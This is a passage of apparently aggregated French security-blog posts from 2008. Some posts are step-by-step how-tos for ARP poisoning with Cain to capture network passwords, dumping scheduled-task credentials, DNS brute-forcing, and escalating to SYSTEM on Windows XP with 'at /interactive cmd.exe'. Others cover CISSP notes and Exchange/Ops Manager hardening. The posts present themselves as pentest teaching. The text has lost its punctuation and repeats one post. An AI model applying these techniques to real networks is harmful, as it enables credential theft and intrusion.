;* l'antivirus sur la machine de travail est inefficace ou vous avezréussi à le désactiverIl existe des méthodes de contournement pour la première condition Ladeuxième est soit fournie par le client, soit obtenue grâce à uneescalade de privilège Quant à la troisième, nous supposons que lacible est assez sérieuse pour avoir installé un antivirus sur chaquemachine Cependant, pour le désactiver, il faudrait en théorie avoirdes droits suffisants sur le domaine, sans quoi, un utilisateurpourrait le désactiver facilement2 - Redirection du traficIci, nous souhaitons récupérer les informations sensibles que nouspouvons intercepter sur le réseau interne, en l'occurrence logins etmots de passe Souvent, se croyant protéger sur son propre réseau, lescommunications sont en clair sur le réseau en question Nous verronsque c'est souvent réellement le casAlors, par une attaque appelée ARP Cache Poisoning, nous allons faireen sorte que les associations adresses MAC - Adresses IP soientmodifiées dans le but de faire croire que d'autres adresses IPcorrespondent à notre adresse MAC Cette attaque bien connue est bienexpliquée sur Wikipédia En plus de récupérer le trafic d'autresutilisateurs, vous le redirigez de sorte que l'opération restetransparente pour les victimesC'est ici qu'intervient Caïn Vous devriez commencer par letélécharger ici et l'installer si vous ne l'avez pas déjà faitauparavant21 - Configuration de CaïnDans le menu, cliquer sur Configure par défaut, vous arrivez surl'onglet Sniffer Ici, vérifier que la bonne carte réseau estsélectionnée et que l'option "Don't use Promiscuous mode" n'est pascochéeEnsuite, rendez-vous dans l'onglet APR Si vous avez pour but d'êtrediscret, sélectionnez "Use Spoofed IP and MAC address" et modifierl'adresse IP et l'adresse MAC en choisissant des valeurs cohérentesLes autres paramètres peuvent être laissés par défaut :22 - Lancer la redirection de traficVoici la démarche à suivre :* cliquer sur les boutons "sniffer" et "APR" dans la barre de menuen haut à gauche ;* cliquer sur l'onglet "sniffer" en haut ;* cliquer sur le sous-onglet "APR" en bas ;* cliquer sur le "+" pour paramétrer l'attaque ARP Cachee Poisoningoù vous choisirez la ou les machines cibles :* c'est bon, le sniffing est en cours 3 - Interception des mots de passeIl vous suffit de vous rendre dans le sous-onglet "Hosts" pour obtenirdes informations intéressantesEncore mieux, allez dans le sous-onglet "Passwords" et là, trouveztous les mots de passe interceptés, ainsi que les logins associés detous les credentials qui circulent sur le réseau à travers de nombreuxprotocoles : HTTP, SMB, LDAP, etcHave fun ;http://www.secuobs.com/revue/news/28473.shtmlhttp://www.secuobs.com/revue/news/28473.shtml Secuobs.com : 2008-10-15 15:48:20 - MISSION Security - En tant qu'agent confirmé, vous savez que lors d'un pentest sur Windows,vous passerez forcément par l'étape Dump de hashes et crackagesFastidieux Alors voici une nouvelle méthode : passer par leTaskManager 1 - ContexteCe post a pu être réalisé grâce à l'article très bien faitd'Ivanlef0u Vous y trouverez toutes les explications Dans le cadred'un pentest, il faudrait que la machine auditée soit sous Windowsdonc et qu'une tâche planifiée au moins soit créée Sachant que lesdroits administrateurs sont requis pour créer une telle action, nousdevrions obtenir des credentials intéressants ;Dans la suite de ce post, nous reprenons le scénario depuis le début àdes fins pédagogiques Votre mission est de reproduire les étapesAttention, vous pourriez être surpris 2 - Mise en conditionNous commençons par créer un tâche Pour exemple, nous décidons delancer le programme Paint Mais nous aurions pu choisir n'importe quelautre programme Deux méthodes :* en ligne de commande :at 18:05 paintexe* avec l'interface graphique :Aller dans Démarrer Paramètres Panneau de configuration Tâchesplanifiées Dans la nouvelle fenêtre, cliquer sur "Création d'unenouvelle tâche" et suivez les instructions du wizard ex : Paint,toutes les semaines, les jeudis à 22h45 Vous devrez renseigner lescredentials ce qu'aura fait aussi l'administrateur de la machineauditée lors d'un test d'intrusion La figure suivante montre la liste des tâches créées : la première enligne de commande At1 et la seconde via la GUI Paint3 - L'attaqueGrâce au programme d'Ivanlef0u, le travail va être très simple maispas moins impressionnant Commencez par télécharger le programme quevous trouverez ici Décompresser et via l'interpréteur de commande,rendez-vous dans le répertoire d'execution nommé exeReleaseIl ne vous reste plus qu'à exécuter le programme TaskPwdDmpexe et à admirer le résultat Have fun ;http://www.secuobs.com/revue/news/28472.shtmlhttp://www.secuobs.com/revue/news/28472.shtml Secuobs.com : 2008-10-15 15:48:20 - MISSION Security - Lorsque vous cherchez à auditer un serveur DNS, il existe de nombreuxoutils à votre disposition En l'occurrence, la Backtrack vous enpropose un certain nombre Nous allons nous amuser un peu avecaujourd'hui pour mieux les comprendre Nous avons déjà vu précédemmentDnsEnum, plus complet mais cette fois, il s'agit d'opérer sur despoints plus précis C'est parti 1 - DNS-ptrBut : Effectuer un grand nombre de requêtes DNS inverses pour trouverles hostnames de la plage IP auditéeSyntaxe :$ dns-ptr adresse-ip-auditée nombre-machinesExemple :2 - DNSWalkBut : Tenter des transferts de zones sur l'ensemble des adressesrécupéréesSyntaxe :$ dnswalk adresse-ip-auditéeExemple :3 - DNSBruteforceBut : Tenter de trouver des machines supplémentaires sur le domaine endevinant les noms de machine, grâce à la technique de BruteforceSyntaxe :$ /DNSBruteforcepy domaine-audité serverlst hosts-txtExemple :Astuces :* Peupler le fichier hosts-txt ex : apache, gw, gateway, ns0, ns1,ns2, ns01, news, etc ;* Peupler le fichier serverlst avec les serveurs DNS de la cible enlançant la commande suivante ;$ dig NS cible* Lancer la commande une première fois cf exemple ci-dessous ;* Peupler de nouveau le fichier hosts-txt avec les premiersrésultats trouvés ex : gw5, gw6, si on a trouvé gw1 à gw4 lapremière fois ;* Relancer la commande4 - DNSMapBut : Comme l'outil précédent, il a pour objectif de trouver desmachines supplémentaires sur le domaine cible à partir d'un"dictionnaire" De plus, il présente les résultats par type et avecl'adresse IP associéeSyntaxe :$ dnsmap domaine-audité listeExemple :Have fun ;http://www.secuobs.com/revue/news/28471.shtmlhttp://www.secuobs.com/revue/news/28471.shtml Secuobs.com : 2008-04-19 15:03:36 - MISSION Security - Aujourd'hui cher agent, vous allez devoir progresser dans la théorie Or, dans le cadre de l'apprentissage de l'examen CISSP, un moduleintitulé "Access Control Systems" tient compte des tests d'intrusionCe post - assez particulier - se propose de voir les notions àconnaître et illustrer certains conceptsAvant-proposLe module que nous allons voir fait partie de la liste des 10 domainesà connaître pour réussir l'examen Plus d'information sont disponibleici Aussi, des pré-requis sont nécessaires comme des diplômes etquelques années d'expérience Finalement, il vous faudra atteindre unscore de 70% pour obtenir le CISSP Avant de commencer, je tiens àpréciser que ce post ne garantit pas une note quelconque ne serait-ceque pour le module abordé Cependant, j'espère qu'il vous y aidera ;Enfin, les diapos d'illustration sont en anglais car les livres quevous trouverez sur le sujet le seront aussi très certainementPart I - Quelques concepts à connaître La sécurité informatique, c'est un combat permanent entre les hackerset les entreprises Chacune dispose de ses caractéristiques et de sesbuts, ce que ce premier schéma illustre de manière très simplifiée :En bleu, nous avons les besoins de l'entreprise synthétisés par lapolice de sécurité alors qu'en noir, les contraintes portées àl'entreprise pouvant être concrétiser par l'attaquant dont les pointsforts sont le temps, sa motivation et son esprit de défi par exemplePour bien faire la différence entre "Vulnérabilité", "menace" et"risque", prenons pour exemple une machine sous Windows XP SP2 Si unefaille, mentionnée par Microsoft par exemple, impacte les machinesWindows XP SP2 et moins, alors, il y a vulnérabilité Si cettevulnérabilité est exploitée par un ver, alors ce dernier représente lamenace Pour terminer, plus les données contenues sur la machines sontsensibles et plus elle est atteignable pour un attaquant, plus lerisque est grand et inversementDans un deuxième temps, le module demande à ce que les solutions desécurité - en sens large - soient classifiées Nous trouverons troistypes de sécurité organisationnelle, logique/technique et physiqueet deux approches préventive et post-active Un exemple pour chacunest fourni ci-dessous :Pour être précis dans notre classification, nous devons noter que dansune entreprise organization, plusieurs rôles doivent être définisqui correspondent à des métiers et/ou fonctions Dans ces rôles, noustrouvons les employés ou aussi utilisateurs au sens SI Chacun d'euxdisposent d'objets tels que des documents par exemple Cela est trèsutile pour définir correctement les contrôles d'accès de manièregranulaireLa dernière sous-partie du module demande une connaissance généraledes attaques les plus connues Cette troisième image en faitl'illustration :Je ne reviendra pas sur ces attaques que vous connaissez certainementdéjà Sinon, n'hésitez pas à vous documenter sur le Net Enfin, il esttoujours possible de poser des questions sur ce blog ; Tout de même,nous allons voir pour exemple la "SYN Flood Attack" car très largementutilisée et d'ailleurs, c'était le sabre utilisé pour la dernièregrande attaque portée contre les serveurs DNS racines d'autant plusque des scripts rendent l'attaque très simple Pour comprendre, ilfaut savoir qu'une connexion s'établit en trois temps :* Le client envoie une requête "SYN" au serveur ;* Le serveur répond par un "SYN/ACK" pour confirmer la demande ;* Le client doit alors confirmer par un "ACK"Si ce troisième échange n'a pas lieu, le serveur reste en attentejusqu'à provoquer un timeout Pour chaque demande en cours, une socketest occupée Alors si un certain nombre de machines effectuent cegenre de requête en laissant en attente les communications, noussommes bien dans le cas d'un DDoS attaque basée sur le SYN FloodPart II - Les tests d'intrusionAvant de commencer un test d'intrusion, il est très important de ledéfinir avec l'entreprise Il existe de nombreuses combinaisons enfonction des besoins :1 1 S'agit-il d'un test interne ou externe 2 2 S'agit-il d'un test en boîte blanche, grise ou noire 3 3 Jusqu'où doit-on dérouler le test en suivant la démarchelogique quoiqu'il en soitPour bien aborder le concept de contrôle d'accès, il est nécessairemaintenant de comprendre ce qu'est l'identification et l'authentificationC'est le but du slide suivant :Il y a donc trois façon de s'authentifier : A partir de quelque choseque l'on est, que l'on sait ou que l'on a Il est possible de combinerplusieurs éléments Nous parlons d'authentification forte à partir dumoment que deux éléments ou plus sont combinés par exemple, une carteà puce contenant le certificat d'authentification, cette premièreétant protégée par un code PINEn l'occurrence, lorsque nous parlons d'authentification, il estimportant de connaître ce que la biométrie et le SSO pour Single SignOn :Il existe de nombreux systèmes de SSO mais il en est un que nousutilisons tous les jours : Kerberos C'est pourquoi nous le prenonspour exemple ici :Ensuite, le contrôle d'accès a pour objectif d'assurer l'intégrité, laconfidentialité et la disponibilité des données Or, généralement,celles-ci sont contenues dans les bases de données BDD Le lecteurdoit donc connaître les principes des BDD et du langage associé, SQLPour terminer, le chapitre, nous traitons des solutions de sécurité detype IDS dont SNORT est le plus connu en tant que solution OpenSource Même si l'image suivante n'est pas animée, elle illustre cedernier point :Il y a ici deux notions à comprendre Un IDS peut fonctionner de deuxmanières différentes et nous avons alors :* mode IDS-Système ;* mode IDS-RéseauMais attention, un même outil, comme SNORT encore une fois, peut êtreconfiguré dans chacun de ces deux modes La différence est que dans lepremier cas, la sonde IDS pourra vérifier les éléments du systèmeexemple : les logs alors que dans le deuxième cas, la sondefonctionne en temps réel pour analyser les paquets transitant sur leréseau et sera plus utile pour détecter une attaque en cours Enfin,il faut savoir qu'une sonde IDS travaille à partir de "patern matching"de signatures et de contrôle de comportement basé sur des règlesConclusionVoilà un résumé pour vous préparer à ce module Néanmoins, il estindispensable d'approfondir toutes ces connaissances pour être capablede répondre aux questions du CISSP Pour ceux que cela intéresse, jepeux envoyer la présentation sur simple demande Aussi, n'hésitez passi vous avez des questions ;http://www.secuobs.com/revue/news/19482.shtmlhttp://www.secuobs.com/revue/news/19482.shtml Secuobs.com : 2008-04-16 19:03:47 - MISSION Security - Lors des tests d'intrusion internes, l'une de nos missions est devérifier les possibilités d'escalade de privilèges sur les postes detravail à partir d'un compte ou non La première chose qu'un agent telque vous pensera à faire, c'est de vérifier s'il est possible degagner un compte administrateur en démarrant l'OS sur un Live CDCette fois, nous allons plus loin, nous cherchons à gagner les droitsSYSTEM PrérequisJe tiens à préciser que je n'ai rien inventé ce post a juste pourvocation d'illustrer la faille En terme de conditions de tests, nousavons, comme le montre ce premier screenshot :* une machine sous Windows XP patchée* un compte administrateur, jer001, que nous supposerons avoirobtenu grâce au crackage du mot de passe après avoir récupéré labase SAM en bootant sur un Live CDLa prise de pouvoir Pour commencer, lancer l'invite de commande pour y taper le codesuivant :at 18:07 /interactive "cmdexe"Plus précisément, il était 18h06 au moment de l'exécution de lacommande Nous choisissons la minute suivante pour que le commandes'exécute bientôt Ensuite, pour vérifier, nous tapons tout simplement: atA l'heure donnée, ici 18h07, une invite de commande se lanceGardons-là ouverte, elle va nous servir juste après Pour l'instant,allez dans la lite des tâches ou task manager pour y arrêter leprocessus explorerexeRetrouver la fenêtre avec l'invite de commande lancée automatiquementpour y taper :explorerexeAprès quelques paramétrages de la part de l'OS, le compte SYSTEM est àvous http://www.secuobs.com/revue/news/18880.shtmlhttp://www.secuobs.com/revue/news/18880.shtml Secuobs.com : 2008-04-05 15:03:22 - MISSION Security - Operations Manager Ops Mgr est l’outil de supervision proposé parMicrosoft Anciennement appelé MOM pour Microsoft OperationsManager, cette nouvelle version propose des fonctions de sécuritédont le chiffrement de bout en bout Si cette solution est capabled’auditer des événements de toute nature, l’article focalisera sur lesaspects sécuritéEtape 0 : Définition du traitement de l’informationAfin de cadrer notre sujet, il est important de distinguer lesdifférentes étapes du traitement de l’information :* La collecte qui consiste à récupérer les informations par desagents généralement* L’agrégation qui consiste à rassembler les informations et de lestransférer vers un composant d’exploitation des données* La consolidation qui consiste à exploiter les informationsstatistique, reporting, … qui sont rassemblées et enregistréesdans une base de données associée ;* La corrélation qui consiste à exploiter l’information de manièreintelligente, basée sur des règles et une intelligenceartificielle Cela permet par exemple de déterminer une attaquegrâce à la corrélation de plusieurs alertesEn l’occurrence, la supervision d’un Système d’Information va de lacollecte des données à leur agrégationEtape 1: Classification des donnéesCe sont les données auditées qui détermineront la suite, c'est-à-direle choix de l’outil, l’architecture, l’installation des composants etles configurations par exemple Les questions suivantes devraientaiguiller le choix de l’entreprise :* Quel est le but de la collecte détection d’attaque,statistiques, reporting, … ;* Quel est l’existant de l’entreprise solution de supervisiondéjà mise en place, logs déjà centralisés, alertes déjà remontées,incidents déjà traités, … ;* L’entreprise est-elle exposée accès Internet, serveursapplicatifs en frontal, accès VPN, … ;* L’entreprise est-elle ciblée peu ou de nombreux incidentsont-il été détectés Quelle est la criticité de ces incidents ;* Quelles sont les moyens mis à disposition Espace disque, bandepassante, et autre performance matérielle ;* Quelle est la nature des données transitant sur les réseaux del’entreprise informelle, critique, top secret, … ;* EtcLa liste établie, l’étape suivante consiste à déterminer descatégories d’information comme :* Les contrôles d’accès ex : les tentatives de connexion ;* La sécurité de l’administration des serveurs ex : gestion dudomaine ;* La sécurité des ressources ex : l’accès aux données sensibles ;* La sécurité des traces ex : les règles de traçage ;* EtcPour terminer, nous classons l’information par criticité :* Le niveau critique qui demande une action urgente pour éviter unrisque de compromission et de propagation ;* Le niveau intermédiaire pour les évènements à traiter dès quepossible et les preuves dans le cadre d’une investigation ;* Le niveau basic pour les évènements additionnels qui nousapporterons des éléments nécessaires pour une action de forensicsou d’incident sécurité généralEtape 2: Le choix de l’architectureNous supposons maintenant que le choix de la solution est OperationsManager 2007 qui nous servira donc d’exemple dans le reste de cetarticle En voici les composants de sécurité :* Le Root Management Server RMS : ce rôle est indispensable C’estle point central de l’architecture et d’où seront déployées lesconfigurations ;* Le Management Server MS : rôle intermédiaire entre le RMS et lesagents ou le rôle Gateway Server Il a le rôle de consolidationdes informations ;* L’Audit Collector Server MS-ACS : il s’agit d’un MS particulierchargé de traiter les informations de sécurité Ils sont reliés àune base de données dédiées aux évènements de sécurité, l’AuditDatabase ;* Le Gateway Server : ce rôle est une passerelle qui permetnotamment de traverser des zones réseaux en assurant la sécuritédes communications A ce niveau, nous parlons d’agrégation del’information ;* Les Agents : ils ont pour but de superviser les serveurs ou lespostes de travail Ils ne sont pas indispensables car il existe unmode sans agent mais cela n’est pas recommandé d’un point de vuesécurité Une fois l’agent installé sur une machine, nous pouvonsconfigurés des Management Packs MP, c'est-à-dire des modulesdédiés à la supervision de machines particulières Par exemple, ilexiste un MP Exchange 2007Etape suivante, le design de l’architecture Il dépend de l’existantet des besoins de l’entreprise mais voici des principes de bonnespratiques :* Installer un rôle ACS par chaque zone cloisonnée du périmètre pourassurer que tous les évènements souhaités sont remontés ;* Relier chaque ACS à une base Audit Database dans le mêmesous-réseau ;* Installer chaque ACS sensible en cluster ;* Relier les ACS à un RMS, le dernier devant être dans une zonesécurisée puisqu’il contient l’ensemble des informations del’entreprise ;* Installer le rôle Gateway Server avant de traverser un pare-feuAinsi, une seule connexion est à ouvrir entre les deux zones ;* Installer des agents sur les serveurs et machines à auditer Eneffet, le mode sans agents utilise des flux RPC et DCOM nonprotégés ;* Eviter au mieux le déplacement d’information sensible ;* Eviter au mieux la transmission d’information sur des réseauxexternes ou non sécurisés cas des entreprises internationalesEtape 3 : Sécuriser les échangesPar défaut, les authentifications reposent sur le protocole Kerberosv5 Cependant, il est possible de mettre en place une authentificationmutuelle basée sur SSLv3Dans le cas où les agents et le MS ne sont pas installés sur le mêmedomaine, l’authentification via Kerberos n’est plus possible Parconséquent, seul SSL peut apporter la sécurité suffisante A noter quel’exemple donné entre les agents et le MS est valable aussi entre lesagents et un Gateway Server, deux MS dans un même domaine ou un MS etun RMS par exempleSi l’entreprise fait le choix de mettre en place une authentificationavec SSL, il est recommandé d’utiliser les certificats de la PKIgroupe de la compagnieUne fois les composants authentifiés, la communication repose sur lamême sécurité que le protocole d’authentification, c'est-à-direKerberos ou SSL En général, il est recommandé de mettre en place SSLdans les cas suivants :* les données traversent deux zones et/ou deux domaines différents ;* les données traversent une zone externe comme l’Internet ou nonde confianceEtape 4 : La gestion des rôles, des comptes et des droitsEtape 41 : Au niveau de l’agentL’agent doit disposer de droits suffisants pour récupérer lesévènements de sécurité notamment les Event logs de Windows parexemple En fait, l’application des droits se fait sur un compte deservice nommé agent action account Pour fournir un minimum de droit,nous devons lui attribuer un compte de domaine avec les droits suivantuniquement :* Membre du groupe Local Users ;* Membre du groupe Performance Monitor Users ;* Attribuer le droit Allow log on locallyS’il s’agit des droits minima requis, en réalité, les droitsnécessaires dépendent aussi des Management Packs déployés et despolitiques de sécurité de l’entrepriseQuant au déploiement des agents, ils requièrent des droitsadministrateurs via un compte dédié Ce dernier peut ensuite êtresupprimé En pratique, le déploiement pourra être réalisé par un outiltel que SCCMEtape 42 : Au niveau des serveursEn premier lieu, un compte de service est aussi activé sur chaquecomposant de la solution de supervision Les droits à attribuer sontsimilaires, la contraintes des Managements Packs en moinsEnsuite, le rôle des administrateurs doit être défini pour chacun afinde lui attribuer l’un des rôles fournis par Ops Mgr Il est importantde profiter de la granularité des profiles proposés par la solutionLes rôles en question sont : Administrator, Author, Advanced Operator,Operator, Read-Only Operator et Report OperatorConclusionLa supervision sécurité est un sujet indispensable pour se prémunirdes attaques informatiques Autant se faire attaquer peut être gravepour l’entreprise, autant se faire attaquer et ne pas le savoir n’estpas concevable Aussi, il est important de savoir que la supervisiondemande un travail en amont la classification des informations et enaval comme la corrélation et la détection d’attaque afin que leprojet fournisse un réel bénéfice à l’entrepriseNB : Bientôt, vous trouverez sur Internet une version plus longue patience et bonne recherche cher agent ;http://www.secuobs.com/revue/news/16601.shtmlhttp://www.secuobs.com/revue/news/16601.shtml Secuobs.com : 2008-03-26 10:33:29 - MISSION Security - Exchange 2007 est la nouvelle solution de messagerie proposée parMicrosoft En comparaison avec la dernière version, datant de 2003, denombreuses fonctionnalités ont été apportées, notamment en termes desécurité En tant qu’agent, vous pouvez être amenés à auditer lamessagerie de l’entreprise Alors pour avoir tous les atouts de votrecôté, mieux vaut connaître l’outil et trouver les pistesd’exploitation au fur et à mesure de la lecture de cette nouvellemission En six étapes, nous allons étudier les points de sécurité quenous pouvons rencontrer, qu’il s’agisse d’une attaque interne ouexterne Dans la situation inverse, s’il s’agit de votre messagerie,vous connaîtrez ainsi les points qui devraient être sécurisésEtape 1: La sécurité de l'architectureExchange 2007 est constitué de cinq rôles qui sont appliqués sur lesserveurs lors de l’installation Puisqu’ils peuvent être mutualisés,prendre la main sur un rôle pourra nous donner des droits sur un autrerôle installé sur le même serveur physique Plus précisément, cesrôles sont :* Rôle Mailbox : Normalement placé dans le LAN interne del’entreprise car ces serveurs hébergent les bases de donnéescontenant les emails et les profils utilisateurs et donc lesdonnées sensibles C’est pour cela que pour des raisons dedisponibilité du service de messagerie, des clusters devraientêtre installés Sinon, ils pourraient être sensibles à desattaques de type DoS A savoir : les serveurs Mailbox sontdirectement et étroitement liés aux serveurs AD… Dans le pire descas, supprimer un compte de messagerie supprime un compte AD et lacréation d’un compte de messagerie Concernant les droits desadministrateurs, ils ont été séparés les droits entre lamessagerie et l’AD … depuis cette version d’Exchange seulement …;* Rôle Hub Transport : Connecté aux serveurs Mailbox, ces serveursdoivent être séparés par un pare-feu Ils représentent en fait lesrelais SMTP En général, le serveur Hub Transport est installé pardomaine Attention, mal configurés, ils peuvent être reliésdirectement à l’Internet … ;* Rôle Client Access Server CAS : Connecté aux serveurs Mailbox,ce serveur fournit les fonctionnalités de messagerie à distancecf Etape 3 Selon que le rôle Edge Transport est installé ounon, le CAS est le plus exposé à l’Internet et y est installé unserveur IIS Nous devrions donc vérifier qu’il n’existe pas defaille sur le serveur WEB ;* Rôle Edge Transport : Rôle non obligatoire Il sert de sas entrel’Internet et le CAS Il sera alors placé dans une DMZ Un grandnombre de propriétés de sécurité sont définies ici tandis qu’ellesseront configurées sur le Hub Transport s’il n’est pas prévud’utiliser le rôle Edge Transport* Rôle Unified Messaging : Ce type de serveur a surtout pourobjectif d’apporter des fonctionnalités liées à la messagerieunifiée tel que la vidéo-conférence ou la synchronisation avec laVoIP par exemple Avis aux experts Etape 2: La sécurité des serveurs de messagerieChaque rôle devrait avoir subi un hardening Quelque soit le rôletraité, seuls les services nécessaires devraient être lancés et seulsles programmes nécessaires devront être installés Cela peut être faitavec le Security configuration Wizard SCW de Windows Ensuite, desACL devraient être imposées sur les dossiers créés et notamment lesdossiers publiques sur les serveurs Mailbox tandis qu’ils devraientêtre déconnectés, ils devraient Pour tous les serveurs, une politique de rôles d’administrationdevraient être appliquée en appliquant une gestion des droits Sixprofiles différents sont prédéfinis nativement dans Exchange 2007, lebut étant d’appliquer le principe de « moindre privilège » Ici, ilfaut miser sur des rôles attribués de manière trop laxisteEnsuite, nous un antivirus dédié et une solution anti-spam devraientêtre installés Qu’il s’agisse de la solution Forefront Security forExchange proposée par Microsoft ou non selon ses besoins, lessolutions retenues utilisent normalement une architecture 64bits etproposent des protections adéquates pour ce système de messagerie Ilfaudra donc identifier la présence puis la nature de ces solutions sinous avons besoin de les contournerPour terminer sur la partie serveur, ces derniers devront bénéficierd’une solution de backup, de monitoring et de haute disponibilité Sice n’est pas le cas, il sera plus facile de ne pas laisser de tracespour l’attaquantEtape 3: La sécurité des clients de messagerieLes clients de messagerie sont Outlook 2007 client lourd, OWAWebmail et Outlook Anywhere Outlook avec accès distantEtape 31 : AuthentificationExchange 2007 peut bloquer les communications entre un serveur Mailboxet une version d’Outlook autre que 2007 Ensuite, il faut savoir queles fichiers personnels de l’utilisateur, et donc sensibles, sontprésents sur chaque poste client mais non chiffrés … La solutionproposée par Microsoft est d’utiliser le chiffrement EFS ou BitLockerConcernant OWA, l’authentification par défaut s’effectue via un mot depasse et utilise le protocole Kerberos ou NTLM en cas d’échec Il setrouve que des outils comme rozntlm permettent de tester lesconnexions NTLM … Il est cependant possible d’utiliser uneauthentification forte reposant sur des Smart Cards avec code PIN pourchiffrer les communications via SSLQuant à Outlook Anywhere, l’authentification se fait par mot de passevia NTLM ou le mode Basic puis les flux peuvent être chiffrés avecSSL Pour cela, il conviendra de configurer un serveur IIS sur lesserveurs Edge Transport ou les CAS si non installésEtape 32 : Limitation des risques de propagation virale et de spamsOutlook et OWA sont capables de filtrer les emails en fonction desextensions des pièces jointes Plusieurs niveaux de blocage peuventêtre configurésLes fonctionnalités d’anti-spam proposées reposent des listesblanches et noires, le contenu des messages à base de mots clés etun filtre comportementalEnfin, l’Object Model Guard a pour but de vérifier qu’un programmeillicite n’essaie pas d’atteindre le carnet d’adresses ou d’envoyer unemail avec le profil de l’utilisateurEtape 4: La sécurité des communicationsEtape 41 : La sécurité des communications serveur serveurLa grande nouveauté d’Exchange 2007 est la possibilité de chiffrer lescommunications en utilisant le protocole SSL/TLS avec authentificationmutuelle entre les serveurs via certificats Si par défaut Exchangepropose l’installation de certificats auto-signés il est recommandé demettre en place des certificats générés par la PKI de l’entreprise etles faire signer par l’autorité de certification racine Il est aussipossible d’utiliser IPSec à la place de ou en plus de SSL/TLSEtape 42 : La sécurité des communications serveur clientAutre nouveauté d’Exchange 2007, le chiffrement des communicationsentre Outlook 2007 et les serveurs Exchange les serveurs Mailbox pourêtre précis Côté client, cette option devraient être appliquée etimposée au client par GPO Si cela n’est pas le cas, nous pourrons surle poste client désactiver les options de sécurité en nous baladantdans les menus d’OutlookEtape 5: Renforcer le niveau de sécuritéEtape 51 : Appliquer les restrictionsPour des raisons de performance, la taille des emails entrants etsortant et le nombre de destinataires sont certainement limités Cesrestrictions peuvent être contrôlées à plusieurs niveaux : au niveaude l’entreprise, du périmètre Exchange 2007, des connecteurs, desserveurs ou des utilisateursDans un deuxième temps, il est possible que des listes d’expéditeurssoient paramétrées Si l’expéditeur fait partie de la liste, plusieursactions pourront de dérouler : accepter le message, refuser le messageou demander à ce que tous les expéditeurs soient identifiésEtape 52 : Le filtrage des emailsAvec Exchange 2007, il existe de nombreuses méthodes pour filtreret/ou traiter les messages à implémenter sur les serveurs HubTransport pour être sûr que chaque email est traité :* Le blocage des emails selon l’extension ou le contenu d’un fichierde type MIME ;* Le filtrage des expéditeurs qui se fait sur l’analyse du contenudu champ MAIL FROM* Le filtrage des destinataires dont l’analyse porte sur le contenudu champ RCPT TO ;* Identification du serveur SMTP expéditeur : Il s’agit de vérifierque le serveur SMTP envoyant le message appartient bien au domaineauquel il prétend ;* Evaluer la réputation de l’expéditeur : grâce à un algorithme, ils’agit d’attribuer à l’expéditeur un niveau de réputation ;* Le postmark : Il s’agit d’un marqueur qui est placé dans l’entêtede l’email envoyé pour s’assurer qu’il ne s’agit pas d’un courrierindésirable ;* Le blocage de l’affichage des images ;* La classification des messages : l’expéditeur peut attribuer uneclasse à son message ex : « confidentiel » En fonction de cetteclasse, une action pourra être exécutéeEtape 6 : La maintenance du niveau de sécuritéSelon que l’entreprise met en place ou non des actions de maintenanceen termes de sécurité, il sera plus ou moins facile pour l’attaquantde percer la sécurité de la messagerie dans le temps :* Les outils de vérification tels que Microsoft Exchange BestPractices Analyzer, MBSA, IIS Lockdown tool devraient être lancésrégulièrement ou les contrôles de SCCM ;* La sécurité devraient être évaluée grâce à des tests devulnérabilité sur les serveurs de messagerie et des audits deconfiguration sur les serveurs et les clients ;* Une gestion des mises à jour devrait assurer que les serveurs nesont pas exploitables par les nouvelles failles ;* Une gestion des traces pour des raisons légales, pour la gestiondes incidents et le recouvrement des emails devrait êtreconfiguréePour plus d’information, je vous laisse trouver dans quelques jours,sur Internet une version plus longue de ce Posthttp://www.secuobs.com/revue/news/13833.shtmlhttp://www.secuobs.com/revue/news/13833.shtml Secuobs.com : 2008-03-20 22:33:19 - MISSION Security - Exchange 2007 est la nouvelle solution de messagerie proposée parMicrosoft En comparaison avec la dernière version, datant de 2003, denombreuses fonctionnalités ont été apportées, notamment en termes desécurité En tant qu’agent, vous pouvez être amenés à auditer lamessagerie de l’entreprise Alors pour avoir tous les atouts de votrecôté, mieux vaut connaître l’outil et trouver les pistesd’exploitation au fur et à mesure de la lecture de cette nouvellemission En six étapes, nous allons étudier les points de sécurité quenous pouvons rencontrer, qu’il s’agisse d’une attaque interne ouexterne Dans la situation inverse, s’il s’agit de votre messagerie,vous connaîtrez ainsi les points qui devraient être sécurisésEtape 1: La sécurité de l'architectureExchange 2007 est constitué de cinq rôles qui sont appliqués sur lesserveurs lors de l’installation Puisqu’ils peuvent être mutualisés,prendre la main sur un rôle pourra nous donner des droits sur un autrerôle installé sur le même serveur physique Plus précisément, cesrôles sont :* Rôle Mailbox : Normalement placé dans le LAN interne del’entreprise car ces serveurs hébergent les bases de donnéescontenant les emails et les profils utilisateurs et donc lesdonnées sensibles C’est pour cela que pour des raisons dedisponibilité du service de messagerie, des clusters devraientêtre installés Sinon, ils pourraient être sensibles à desattaques de type DoS A savoir : les serveurs Mailbox sontdirectement et étroitement liés aux serveurs AD… Dans le pire descas, supprimer un compte de messagerie supprime un compte AD et lacréation d’un compte de messagerie Concernant les droits desadministrateurs, ils ont été séparés les droits entre lamessagerie et l’AD … depuis cette version d’Exchange seulement …;* Rôle Hub Transport : Connecté aux serveurs Mailbox, ces serveursdoivent être séparés par un pare-feu Ils représentent en fait lesrelais SMTP En général, le serveur Hub Transport est installé pardomaine Attention, mal configurés, ils peuvent être reliésdirectement à l’Internet … ;* Rôle Client Access Server CAS : Connecté aux serveurs Mailbox,ce serveur fournit les fonctionnalités de messagerie à distancecf Etape 3 Selon que le rôle Edge Transport est installé ounon, le CAS est le plus exposé à l’Internet et y est installé unserveur IIS Nous devrions donc vérifier qu’il n’existe pas defaille sur le serveur WEB ;* Rôle Edge Transport : Rôle non obligatoire Il sert de sas entrel’Internet et le CAS Il sera alors placé dans une DMZ Un grandnombre de propriétés de sécurité sont définies ici tandis qu’ellesseront configurées sur le Hub Transport s’il n’est pas prévud’utiliser le rôle Edge Transport* Rôle Unified Messaging : Ce type de serveur a surtout pourobjectif d’apporter des fonctionnalités liées à la messagerieunifiée tel que la vidéo-conférence ou la synchronisation avec laVoIP par exemple Avis aux experts Etape 2: La sécurité des serveurs de messagerieChaque rôle devrait avoir subi un hardening Quelque soit le rôletraité, seuls les services nécessaires devraient être lancés et seulsles programmes nécessaires devront être installés Cela peut être faitavec le Security configuration Wizard SCW de Windows Ensuite, desACL devraient être imposées sur les dossiers créés et notamment lesdossiers publiques sur les serveurs Mailbox tandis qu’ils devraientêtre déconnectés, ils devraient Pour tous les serveurs, une politique de rôles d’administrationdevraient être appliquée en appliquant une gestion des droits Sixprofiles différents sont prédéfinis nativement dans Exchange 2007, lebut étant d’appliquer le principe de « moindre privilège » Ici, ilfaut miser sur des rôles attribués de manière trop laxisteEnsuite, nous un antivirus dédié et une solution anti-spam devraientêtre installés 